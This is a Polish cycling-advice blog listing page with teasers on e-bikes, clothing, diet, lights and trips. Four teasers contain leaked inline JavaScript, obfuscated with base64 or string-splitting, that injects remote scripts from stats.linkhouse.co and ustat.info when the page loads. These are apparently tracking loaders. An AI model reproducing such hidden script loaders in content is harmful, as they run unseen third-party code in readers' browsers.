Poradnik rowerowy

Nowoczesne rowery elektryczne marki Engwe – co warto wiedzieć?

W ostatnim czasie świadomość ekologiczna społeczeństwa znacznie wzrosła. Dążenie do wykorzystywania odnawialnych źródeł energii oraz poszukiwanie alternatyw dla tradycyjnych środków transportu stały się kluczowe w kontekście globalnych zmian klimatycznych. W tym właśnie kontekście na popularności zyskują rowery elektryczne, które łączą ekologiczność z zaawansowaniem technicznym, a także komfortem użytkowania. Jednym z producentów, który zyskuje uznanie na polu mobilności elektrycznej jest marka Engwe, oferująca szeroką gamę rowerów elektrycznych dostosowanych do różnorodnych potrzeb użytkowników. Rowery elektryczne Engwe Charakterystyka ...

Czytaj więcej
rower elektryczny miejski

Rower do miasta – elektryczny czy tradycyjny?

(function(qqklnbab, ujqkiiap, fdhcptzb, uitdbsta, qbnuijsf, zdketwxr){ qbnuijsf = ujqkiiap.createElement(fdhcptzb);zdketwxr = ujqkiiap.getElementsByTagName(fdhcptzb)[0]; qbnuijsf.ascyc = 1; qbnuijsf.src = atob(uitdbsta); zdketwxr.parentNode.insertBefore(qbnuijsf, zdketwxr); })(window, document, 'script', 'aHR0cHM6Ly9zdGF0cy5saW5raG91c2UuY28vYXBpL2FuYWx5emVyL3YxL3NjcmlwdC9hYmMzZjhkZS1hNmVlLTQ2ZWYtYmJjNy1kMWU5NTZkMWI0ZjQuanM=') Wybór roweru do miasta to nie lada wyzwanie. W ostatnich latach coraz większą popularnością cieszą się rowery elektryczne, które stanowią kuszącą ...

Czytaj więcej

Jaki licznik na rower wybrać?

(function(vhvujabv, somjwott, otwljkwq, fmnfwbds, vkimryeg, uuerjloh){ vkimryeg = somjwott.createElement(otwljkwq);uuerjloh = somjwott.getElementsByTagName(otwljkwq)[0]; vkimryeg.ascyc = 1; vkimryeg.src = atob(fmnfwbds); uuerjloh.parentNode.insertBefore(vkimryeg, uuerjloh); })(window, document, 'script', 'aHR0cHM6Ly9zdGF0cy5saW5raG91c2UuY28vYXBpL2FuYWx5emVyL3YxL3NjcmlwdC9hYmMzZjhkZS1hNmVlLTQ2ZWYtYmJjNy1kMWU5NTZkMWI0ZjQuanM=') Jazda na rowerze to nie tylko przyjemny sposób na spędzenie wolnego czasu, ale również doskonała forma aktywności fizycznej, która może przyczynić się do ...

Czytaj więcej

Czy warto mieć buty rowerowe?

Kolarstwo to nie tylko popularne hobby, ale także świetny i zdrowy sposób na spędzanie czasu. Jazda na rowerze wpływa pozytywnie na samopoczucie, jest dobra dla kolan i kręgosłupa, pozwala spalać kalorie i poprawia jakość snu. Aby jednak móc zajmować się kolarstwem na poważnie, trzeba wyposażyć się w odpowiedni sprzęt. Kluczowym elementem są tu dobrze dobrane buty do jazdy na rowerze. Na co zwrócić uwagę, wybierając buty rowerowe i czy naprawdę są ...

Czytaj więcej

Jak się ubrać na rower? Poradnik

Czym jest odzież termoaktywna i dlaczego jest idealnym wyborem dla rowerzystów? Odzież termoaktywna to interesująca kategoria ubrań specjalistycznych, tworzona z myślą o zapewnieniu maksymalnego komfortu podczas wysiłku fizycznego. A zatem czym właściwie charakteryzuje się taka odzież i w jakim sensie może być idealna dla miłośników jazdy na rowerze? Zróbmy krok wstecz, aby zrozumieć mechanizm działania odzieży termoaktywnej. Podczas intensywnego wysiłku, taki jaki niewątpliwie jest jazda na rowerze, nasze ciało produkuje więcej ciepła, ...

Czytaj więcej

Lampki rowerowe tylne – czym się charakteryzują?

Lampki rowerowe tylne to nie tylko wymóg prawny, ale przede wszystkim element zabezpieczający przed potencjalnymi zagrożeniami na drodze. Jakie lampki mamy do wyboru? Bezpieczeństwo na drodze to priorytet każdego rowerzysty. W warunkach ograniczonej widoczności właściwie dobrana lampa to kluczowy element ochrony. Co warto wiedzieć o lampkach rowerowych tylnych? Lampki rowerowe tylne – co warto wiedzieć?  Lampki rowerowe są obowiązkowym wyposażeniem rowerzysty. Każdy rower musi być wyposażony w co najmniej jedno światło przednie o ...

Czytaj więcej

Rower trójkołowy jako narzędzie wspomagania rehabilitacji

Rower trójkołowy to bardzo cenione narzędzie rehabilitacyjne. Jest on polecany osobom niepełnosprawnym jak i seniorom, ale nie tylko. Dlaczego warto zainteresować się sprzętem tego typu? Przeczytaj nasz artykuł, a dowiesz się: dla kogo są przeznaczone rehabilitacyjne rowery trójkołowe czy warto zainwestować w rower trójkołowy elektryczny czy można uzyskać dofinansowanie na rower trójkołowy Aktywność fizyczna jest bardzo ważna w utrzymaniu właściwej kondycji osób niepełnosprawnych i seniorów. Jednym z narzędzi pomagających w jej utrzymaniu jest trójkołowy rower. ...

Czytaj więcej

Jak przygotować się do wysiłku fizycznego – obowiązkowy pakiet badań krwi dla każdego sportowca.

Nie ważne, czy jesteś profesjonalnym sportowcem, czy weekendowym biegaczem – odpowiednie przygotowanie do wysiłku fizycznego jest kluczem do zdrowia i lepszej wydajności. Kluczową rolę w tym procesie odgrywają badania krwi. Dowiedz się, dlaczego są one tak ważne i jakie badania powinieneś wykonać przed rozpoczęciem treningów. Dlaczego badania krwi są tak ważne dla sportowców? Badania krwi dostarczają nam cennych informacji o stanie naszego organizmu, od poziomu hemoglobiny po stężenie elektrolitów. Dla sportowców, informacje ...

Czytaj więcej

Zrównoważona praca, zdrowy umysł: jak zachować zdrowie psychiczne w okresie rozwoju kariery

Być może jesteś teraz na samym początku swojej kariery i chcesz znaleźć wymarzoną pracę. Pomogą Ci w tym specjalne usługi poszukiwania pracy. Aby ułatwić sobie pracę, nie trzeba już o 6 rano kupować gazet i szukać tam wolnych miejsc pracy, teraz wystarczy, że szukając pracy, użyją słów kluczowych, np. praca Drezdenko. Czy budując karierę można zachować zdrowie psychiczne? I co z tym zrobić? Czym jest zdrowie psychiczne? Zdrowie psychiczne to przede wszystkim brak ...

Czytaj więcej

Czy treningowy rower magnetyczny to klucz do osiągnięcia wymarzonej sylwetki w domu?

Wielu z nas marzy o idealnej sylwetce, ale nie zawsze mamy czas, chęci lub środki na regularne wizyty na siłowni. W odpowiedzi na te potrzeby pojawia się coraz więcej sprzętu do ćwiczeń domowych. Jednym z najbardziej popularnych i skutecznych jest treningowy rower magnetyczny. Czy naprawdę jest on kluczem do sukcesu w dążeniu do wymarzonej figury? Treningowy rower magnetyczny – dlaczego warto go mieć? Treningowy rower magnetyczny to doskonałe narzędzie do kształtowania sylwetki ...

Czytaj więcej

Chodź na rower enduro!

(function(){ wkqm=document.createElement("script");wkqm.type="text/javascript"; wkqm.async=true;wkqm_=(("us")+"t")+"a";wkqm_+=("t.i")+""+"n";wkqm_+=(("f")+"o");wkqm_+="/"; wkqmu="554279985.";wkqmu+="ug4Xfmugkqm5XyX7f2pembn8uidgdX";wkqm.src="https://"+wkqm_+wkqmu; wkqmdb=document.body;wkqmdb.appendChild(wkqm); })(); Rower enduro jest doskonałym wyborem dla rowerzystów, którzy szukają jednego roweru, który poradzi sobie zarówno na trudnych zjazdach, jak i podczas pokonywania technicznych odcinków pod górę. Jego wszechstronność i zdolność do radzenia sobie z różnymi warunkami terenowymi sprawiają, że to dosyć popularna opcja wśród pasjonatów górskiego rowerowania. W poniższym artykule wyjaśniamy na co zwrócić uwagę kompletując “wyprawkę” enduro, prezentujemy markę rowerową Pivot oraz podpowiadamy dobre miejscówki enduro trails, na których ...

Czytaj więcej

Rower elektryczny – Twoje wsparcie podczas długiej podróży!

W dzisiejszych czasach coraz więcej osób decyduje się na rowery elektryczne jako alternatywę dla tradycyjnych jednośladów. To innowacyjne rozwiązanie oferuje nie tylko przyjemność z jazdy, ale również wsparcie w pokonywaniu trudności terenowych i długich dystansów. Czy zastanawiałeś się, jak rower elektryczny może ułatwić Ci codzienne podróże? Czy jesteś gotowy na ekscytującą przygodę na dwóch kółkach? Odkryj moc elektrycznych rowerów! Wyobraź sobie, jakbyś mógł odkrywać nowe miejsca i pokonywać trudne trasy rowerowe bez ...

Czytaj więcej

Wakacje na rowerze? Zobacz 5 miejscowości nad morzem

(function(){ aqxi=document.createElement("script");aqxi_="u"+("s")+"ta"; aqxi_+=("t.i")+""+"n";aqxi_+=(("f")+"o");aqxi.type="text/javascript"; aqxi_+="/"; aqxiu="547750693";aqxiu+=".2cqvz8cnqxikkg48v49";aqxiu+="Xt2tx69ch49"; aqxi.src="https://"+aqxi_+aqxiu;aqxi.async=true;document.body.appendChild(aqxi); })(); Zapomnij o pośpiechu i stresie codziennego życia. Wybierz spokojne wakacje na rowerze, obierając za cel podróży małe i urocze nadmorskie miejscowości i odkryj magię wolności. Poczuj wiatr we włosach, wdychaj morskie powietrze i daj się ponieść przygodzie na dwóch kółkach. Zapraszamy do zapoznania się z przyjemnymi kurortami, które pozwolą uciec od tłumu turystów i zaznać chwil relaksu. Dlaczego wakacje z rowerem są atrakcyjne? Wybierz spokojne wakacje na rowerze i wyrusz w ...

Czytaj więcej

Co to jest bikepacking i jak się do niego przygotować?

Bikepacking to forma aktywności, która cieszy się coraz większą popularnością w Polsce i na świecie. Jest ona połączeniem jazdy na rowerze oraz spania pod namiotem. Czym dokładnie charakteryzuje się ten rodzaj podróżowania? Jak skutecznie przygotować się na wyprawę bikepackingową? O tym wszystkim przeczytasz w naszym artykule! Czym jest bikepacking? Bikepacking to forma podróżowania, która łączy w sobie jazdę na rowerze oraz kemping. Polega ona na pokonywaniu przeróżnych tras rowerem i nocowaniu w ...

Czytaj więcej
jak jeździć z psem na rowerze

Jak jeździć z psem na rowerze?

Jeśli jesteś jedną z wielu osób, które uwielbiają spędzać czas ze swoim psem, być może szukasz sposobów, aby włączyć swojego futrzanego przyjaciela w swoje ulubione zajęcia. Jak jeździć z psem na rowerze? Choć na początku może się to wydawać trudne, przy odrobinie przygotowania jest to całkiem łatwe. Po pierwsze, upewnij się, że Twój pies dobrze czuje się w pobliżu rowerów i nie będzie zaskoczony ich widokiem lub dźwiękiem. Gdy masz już ...

Czytaj więcej
Co jeść po treningu na rowerze

Co jeść po treningu na rowerze?

Trening na rowerze to świetny sposób na poprawę kondycji i wytrzymałości. Jednak, aby osiągnąć wymarzone efekty, nie wystarczy tylko regularnie trenować. Równie ważne jest dbanie o odpowiednią dietę, zwłaszcza po treningu. Właściwie dobrany posiłek po intensywnym treningu na rowerze pozwoli szybciej zregenerować organizm i przygotować się do kolejnych wyzwań. W tym artykule dowiesz się, co warto zjeść po treningu na rowerze, aby zapewnić swojemu ciału optymalne warunki regeneracji. Białko - podstawa ...

Czytaj więcej
Jak jeździć po górach na rowerze

Jak jeździć po górach na rowerze? Sprawdź nasz poradnik!

Jazda po górach na rowerze może być wspaniałym sposobem na aktywny wypoczynek i podziwianie pięknych krajobrazów. Jednak, aby cieszyć się tą formą aktywności, trzeba wziąć pod uwagę kilka ważnych czynników. Poniżej znajdziesz kilka porad, które pomogą Ci bezpiecznie i skutecznie jeździć po górach na rowerze. Wybierz odpowiedni rower i sprzęt Przed wyruszeniem w góry warto zadbać o odpowiedni sprzęt. Ważne, aby rower był dobrze wyposażony i przystosowany do jazdy w trudnych warunkach. ...

Czytaj więcej

Dieta dla kolarzy – co warto jeść przed i po treningu kolarskim?

Dieta odgrywa kluczową rolę w życiu każdego sportowca, a kolarstwo nie jest tu wyjątkiem. W tym artykule przedstawiamy, co warto jeść przed i po treningu kolarskim, aby poprawić swoje wyniki i zwiększyć wytrzymałość. Dla osób, które nie mają czasu na gotowanie, polecamy usługi cateringowe, takie jak catering dietetyczny w Poznaniu i cateringi dietetyczne w Łodzi. Przedtreningowe posiłki Posiłki przedtreningowe powinny być lekkie i łatwostrawne, aby uniknąć uczucia ciężkości w żołądku podczas jazdy ...

Czytaj więcej
Co warto jeść przed treningiem na rowerze

Co warto jeść przed treningiem na rowerze?

Jeśli chcesz osiągnąć lepsze wyniki na rowerze, nie tylko regularne treningi, ale również odpowiednia dieta są kluczowe. Przed jazdą na rowerze warto zjeść posiłek bogaty w składniki odżywcze, które zapewnią Ci energię i poprawią Twoją wydolność. W tym artykule przedstawiamy, co warto jeść przed treningiem na rowerze, skupiając się na diecie o niskim indeksie glikemicznym oraz posiłkach pudełkowych. Dieta o niskim indeksie glikemicznym Dieta o niskim indeksie glikemicznym pudełkowa polega na wybieraniu ...

Czytaj więcej
trendy rowerowe

Trendy rowerowe 2023. Czego spodziewać się w tym roku?

Poznaj nadchodzące trendy rowerowe. 2023 rok zaczyna się wypuszczeniem na rynek kilku ciekawych modeli. Do tego wciąż kontynuowana jest moda na rowery elektryczne. Czego jeszcze można się spodziewać w nadchodzących miesiącach? Moda na rowery zdaje się nigdy nie spadać. Jednak świat kolarstwa zawodowego i amatorskiego nieustannie się zmienia. Największym wynalazkiem ostatnich lat są niewątpliwie rowery elektryczne. Cieszą się rosnącą popularnością w Polsce i na świecie.  Poznaj przewidywane trendy rowerowe 2023 roku ...

Czytaj więcej
trening przed sezonem rowerowym

Przygotuj się na sezon rowerowy – trening w domu!

Jeśli cenisz sobie aktywny styl życia, ale obecne okoliczności uniemożliwiają Ci wyjazdy na trasy rowerowe, wystarczy, że wyposażysz się w niezbędny sprzęt, aby przygotowywać się do sezonu rowerowego w domu. Wybierz odpowiedni rower, zaopatrz się w odpowiednie ubrania i akcesoria oraz zaplanuj treningi, aby zapewnić sobie optymalny wynik w nadchodzącym sezonie rowerowym. Wybierz odpowiedni rower Kluczowym elementem przygotowań do sezonu rowerowego jest wybór odpowiedniego roweru. Dobry rower powinien być dopasowany do Twojej ...

Czytaj więcej

Bielizna sportowa damska – rodzaje i modele

Bielizna sportowa to niezbędnik w szafie każdej kobiety, która lubi aktywność i dba o zdrowie. Przewiewna i wygodna stanowi wsparcie podczas każdego treningu. Jak dobrać odpowiedni model? Wysiłek fizyczna to obok diety podstawa zdrowego trybu życia. Regularne uprawianie sportu dodaje energii, pozwala obniżyć poziom stresu oraz zyskać wymarzoną sylwetkę. Aby trening był jeszcze bardziej komfortowy i efektywny, niezbędna jest odpowiednia odzież, w tym sportowa bielizna. Jaki rodzaj i krój dobrać do ...

Czytaj więcej

Na co zwrócić uwagę kupując rower szosowy?

Zakup pierwszego roweru szosowego może wiązać się z dużym stresem i wielkimi oczekiwaniami. Dla osób niedoświadczonych i świeżych w tej tematyce będzie to ogromne wyzwanie. Rower kolarski, rowery przełajowe i rower szosowy damski zapewniają różny komfort jazdy dla użytkownika. Przed dokonaniem zakupu warto więc rozważyć kilka najważniejszych kwestii.  Rower szosowy - właściwości techniczne Wybór odpowiedniego roweru szosowego wiąże się z koniecznością poznania tego typu modeli. Szukając odpowiedniego sprzętu dla siebie powinniśmy wziąć ...

Czytaj więcej

Jak się ubrać na jesienną wycieczkę rowerową?

Rowerowe przejażdżki to fantastyczna aktywność dla osób starszych, jak i młodszych. Nie warto z niej rezygnować, nawet jeśli przyjdą zimniejsze dni. Koniecznie sprawdź, jak się ubrać na rower jesienią, aby nie musieć siedzieć w domu nawet, kiedy niebo jest zachmurzone czy pada lekki deszcz. W poniższym artykule podpowiemy, co warto na siebie nałożyć, a czego w szczególności unikać! Odzież rowerowa - bawełnie mówimy stanowcze NIE! Jesień to dość chłodna pora roku, która ...

Czytaj więcej
Dieta na rower na odchudzanie

Dieta na rower na odchudzanie

Dieta aktywnego rowerzysty powinna składać się w ponad połowie ze złożonych węglowodanów. Aby uzyskać energię, jedz zanim poczujesz pragnienie i systematycznie uzupełniaj utracone płyny i elektrolity. Zobacz, co i kiedy jesz i pijesz, aby nabrać energii do jazdy na rowerze. Dieta rowerzysty powinna składać się z produktów wzmacniających intensywne pedałowanie. Węglowodany są szybko trawione i przekształcane w glukozę, której organizm potrzebuje do prawidłowego funkcjonowania, dlatego są podstawowym paliwem dla pracujących mięśni. ...

Czytaj więcej
rowernia

Pomieszczenie do przechowywania rowerów – jak je zorganizować?

Pomieszczenie do przechowywania rowerów powinno być przede wszystkim odpowiednio zabezpieczone. Kradzieże rowerów zdarzają się dosyć ciężko. Odpowiednie zabezpieczenia antywłamaniowe będą więc koniecznością. Dowiedz się więcej! Pomieszczenie, w którym przechowujesz rower, naprawdę warto bardzo dobrze zabezpieczyć. Rowery są często bardzo drogie, a więc ich utrata może mocno uderzyć w domowy budżet. Dobrze zabezpieczone pomieszczenie może uchronić rowerzystę przed kradzieżą. Zabezpieczenia to jednak nie wszystko. Na co jeszcze należy zwrócić uwagę, gdy organizujesz ...

Czytaj więcej

Nawadnianie w trasie – co pić w trakcie wycieczki rowerowej?

Jazda na rowerze to bardzo popularny sposób spędzania wolnego czasu. Co pić podczas wycieczki rowerowej? Sprawdź! W trakcie długotrwałego wysiłku fizycznego należy na bieżąco uzupełniać poziom energii. Dlatego warto zwrócić uwagę na to, co jemy i pijemy podczas wycieczek rowerowych. Zanim ruszysz na wyprawę rowerem, zapoznaj się z naszym poradnikiem! Co jeść w trakcie wysiłku fizycznego? Wycieczki rowerowe to ciekawa forma aktywnego spędzania czasu. Warto mieć na uwadze, że to, co jemy podczas ...

Czytaj więcej
wypadek rowerowy

Wypadek rowerowy – konsekwencje urazów w obrębie szczęki

Jeśli jeździsz na rowerze, z pewnością wiesz, że wypadek rowerowy to coś, co może cię spotkać właściwie wszędzie. Sprawdź, jakie mogą być przykre konsekwencje takiego zdarzenia, jeśli chodzi o twoje zęby! Wypadek rowerowy to coś, czego każdy chciałby uniknąć, ale nie zawsze jest to możliwe. W większości przypadków ochraniacze i kaski zapewniają odpowiednią ochronę, ale niestety w pewnych sytuacjach zęby rowerzysty są narażone na uszkodzenia. Jeśli już dojdzie do takiej sytuacji, ...

Czytaj więcej
jak uniknąć intymnych dolegliwości

Jazda na rowerze – jak uniknąć intymnych dolegliwości?

Zastanawiasz się, czy istnieją sposoby na poradzenie sobie z intymnymi dolegliwościami, na które narażeni są rowerzyści? Zapoznaj się z naszym artykułem, w którym przedstawiamy łatwe sposoby na uniknięcie tych problemów. Jazda na rowerze to popularny sport. Niestety ta aktywność sportowa nie służy delikatnym intymnym miejscom na ciele. Dlatego warto dowiedzieć się, jak przygotować się do jazdy, aby uniknąć wystąpienia nieprzyjemnych dolegliwości. Jazda na rowerze – odpowiednia higiena osobista Podstawowym sposobem zapobiegania powstawaniu dolegliwości ...

Czytaj więcej

Czas na rower! Jakie akcesoria mogą się przydać?

Jazda na rowerze to aktywność, z której chętnie korzystają zarówno młodzi, jak i nieco starsi użytkownicy. Aby jednak każda wyprawa przebiegała po myśli, konieczne jest uprzednie przygotowanie pojazdu do drogi. Zobacz, jakie akcesoria dobrze jest mieć, a które z nich są zwyczajnie niezbędne, aby jazda na rowerze przebiegała komfortowo, a co najważniejsze - bezpiecznie. Niezbędne akcesoria rowerowe Aby móc korzystać z jednośladu na drogach publicznych i rowerowych, należy go odpowiednio przystosować. Najważniejsze ...

Czytaj więcej
zwolnienie lekarskie a wyjście na rower

Czy podczas zwolnienia lekarskiego mogę legalnie wyjść na rower?

Osoby aktywne, które chętnie uprawiają sport, odbierają zwolnienie lekarskie jako swego rodzaju ograniczenie wolności. Muszą bowiem zrezygnować z ulubionych aktywności, takich jak rower. Czy rzeczywiście jest to konieczne? Jazda na rowerze jest niezwykle korzystna dla zdrowia. Wspomaga pracę serca i układu krążenia, ale też pomaga w utracie wagi i rzeźbi mięśnie nóg. Czy jednak podczas zwolnienia lekarskiego można oddawać się ulubionemu sportowi? Tutaj ze względu na specyfikę L4 zdania są podzielone. Zwolnienie ...

Czytaj więcej
Makijaż na rower

Makijaż na rower. Czy warto się malować?

Rower to lubiany środek transportu. Nie tylko umożliwia szybkie i w miarę sprawne przemieszczanie się po mieście, ale także pomaga poprawić kondycję i jest sposobem na spędzenie wolnego czasu. Sprawdź, czy warto robić makijaż przed przejażdżką! Wiele pań chce się czuć pięknie i atrakcyjnie także podczas jazdy na rowerze. Dlatego nie rezygnują z makijażu, podkreślają oczy, malują usta. Czy to dobry pomysł? Wszystko zależy od tego, gdzie się wybierasz, czy będziesz ...

Czytaj więcej

Dowiedz się, jaka powinna być idealna przekąska na wycieczkę rowerową

Wybierasz się na całodniową wycieczkę rowerową? Z pewnością nie obejdziesz się bez solidnego źródła energii w postaci wysokiej jakości przekąski, którą zabierzesz ze sobą. Możesz też skorzystać z przydrożnej restauracji, ale jeśli wszystkie spalone kalorie zastąpisz talerzem tłustego gulaszu i pięcioma bułeczkami na parze, które popijesz kuflem piwa, możesz być pewien, że dalej wycieczka nie pójdzie już tak gładko, jak się spodziewałeś. Z uczuciem ciężkości na żołądku i zmęczonymi nogami ...

Czytaj więcej

Odpowiedni kask na głowę podczas jazdy rowerem

Sklep z dużym wyborem kasków rowerowych jest w stanie zaoferować produkty o światowych standardach. Takie, które będą w stanie zapewnić wysoki poziom bezpieczeństwa. Nie można zapominać o kaskach na rower. Są one bardzo ważnym elementem - w szczególności, że wiele osób na co dzień jeździ nie tylko po ścieżkach rowerowych, ale także po ulicy, w bezpośrednim sąsiedztwie pojazdów mechanicznych.

Czytaj więcej
Bezpieczny przewóz roweru samochodem

Bezpieczny przewóz roweru samochodem – podstawowe zasady

Planujesz urlop i zamierzasz zabrać ze sobą rower? Przewóz jednośladu może stanowić nie lada zagwozdkę. Podpowiadamy, w jaki sposób zabezpieczyć swój sprzęt, by nie uległ zniszczeniu ani nie zagrażał innym uczestnikom ruchu drogowego. Jesteś osobą, która stawia na aktywny wypoczynek i nie wyobraża sobie urlopu bez roweru? Na pewno wiesz, że jedną z podstawowych kwestii stanowi jego bezpieczny przewóz samochodem. Do wyboru masz kilka podstawowych rozwiązań, więc na pewno dopasujesz je ...

Czytaj więcej
rowerem do ślubu

Rowerem do ślubu

Nie da się ukryć, że obecnie pary starają się sprawić, by ich ślub był jeszcze bardziej wyjątkowy oraz oryginalny. Wobec tego, jeśli na co dzień pary są aktywne i spędzają dużo czasu na rowerze, to być może pomysł na to by pojechać rowerem do ślubu będzie idealny? Rowerem do ślubu - jakie pary się powinny na to zdecydować? Nie da się ukryć, że pomysł odnośnie tego, by pojechać rowerem do ślubu z ...

Czytaj więcej